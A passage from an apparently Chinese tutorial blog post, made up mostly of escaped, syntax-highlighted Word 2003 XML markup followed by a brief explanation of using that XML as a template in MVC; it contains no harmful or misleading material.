style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="02010600030101010101"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:charset&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="86"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:family&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Auto"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:pitch&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="variable"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:sig&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:usb-0&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00000003"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:usb-1&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="288F0000"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:usb-2&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00000016"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:usb-3&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00000000"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:csb-0&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00040001"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:csb-1&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00000000"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:font&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:fonts&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:styles&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:versionOfBuiltInStylenames&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="4"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:latentStyles&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:defLockedState&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="off"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:latentStyleCount&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="156"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:style&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="paragraph"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:default&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="on"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:styleId&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="a"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:name&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Normal"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;wx:uiName&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;wx:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="正文"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:pPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:widowControl&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="off"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:jc&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="both"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:pPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;wx:font&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;wx:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Times&amp;nbsp;New&amp;nbsp;Roman"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:kern&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="2"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:sz&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="21"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:sz-cs&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="24"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:lang&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="EN-US"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:fareast&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="ZH-CN"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:bidi&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="AR-SA"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:style&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:style&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="character"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:default&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="on"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:styleId&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="a0"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:name&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Default&amp;nbsp;Paragraph&amp;nbsp;Font"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;wx:uiName&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;wx:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="默认段落字体"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:semiHidden&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:style&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:style&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="table"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:default&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="on"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:styleId&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="a1"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:name&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Normal&amp;nbsp;Table"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;wx:uiName&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;wx:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="普通表格"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:semiHidden&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;wx:font&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;wx:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Times&amp;nbsp;New&amp;nbsp;Roman"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:tblPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:tblInd&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:w&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="0"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="dxa"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:tblCellMar&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:top&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:w&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="0"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="dxa"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:left&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:w&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="108"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="dxa"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:bottom&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:w&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="0"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="dxa"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:right&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:w&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="108"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="dxa"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:tblCellMar&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:tblPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:style&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:style&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="list"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:default&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="on"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:styleId&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="a2"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:name&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="No&amp;nbsp;List"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;wx:uiName&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;wx:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="无列表"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:semiHidden&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:style&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:styles&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:docPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:view&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="print"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:zoom&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:percent&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="200"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:bordersDontSurroundHeader&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:bordersDontSurroundFooter&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:proofState&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:spelling&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="clean"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:grammar&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="clean"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:attachedTemplate&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;=""&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:defaultTabStop&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="420"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:drawingGridVerticalSpacing&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="156"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:displayHorizontalDrawingGridEvery&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="0"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:displayVerticalDrawingGridEvery&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="2"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:punctuationKerning&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:characterSpacingControl&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="CompressPunctuation"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:optimizeForBrowser&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:validateAgainstSchema&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:saveInvalidXML&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="off"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:ignoreMixedContent&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="off"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:alwaysShowPlaceholderText&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="off"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:compat&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:spaceForUL&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:balanceSingleByteDoubleByteWidth&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:doNotLeaveBackslashAlone&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:ulTrailSpace&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:doNotExpandShiftReturn&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:adjustLineHeightInTable&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:breakWrappedTables&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:snapToGridInCell&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:wrapTextWithPunct&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:useAsianBreakRules&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:dontGrowAutofit&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:useFELayout&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:compat&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:docPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:body&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;wx:sect&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:p&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:pPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rFonts&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:hint&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="fareast"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:pPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:r&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rFonts&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:hint&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="fareast"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:rPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:t&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;aaaaaaaaaaaaaaaaa&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:t&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:r&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:p&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:sectPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:pgSz&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:w&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="11906"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:h&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="16838"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:pgMar&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:top&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="1440"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:right&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="1800"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:bottom&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="1440"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:left&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="1800"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:header&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="851"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:footer&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="992"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:gutter&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="0"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:cols&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:space&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="425"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:docGrid&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="lines"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:line-pitch&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="312"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:sectPr&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;wx:sect&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:body&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:wordDocument&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;span&gt;而刚才输入的文字"aaaaaaaaaaaaaaaaa",就在其中。如果你需用用变量，那么就可以用变量替换了。&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span&gt;那么程序应该如何处理该文档呢？&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span&gt;其实处理方式和MVC中处理html一样的，只是把这个office的xml文档当作html模板处理并，在程序端另存为文档时也得处理一下，如下列代码：&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
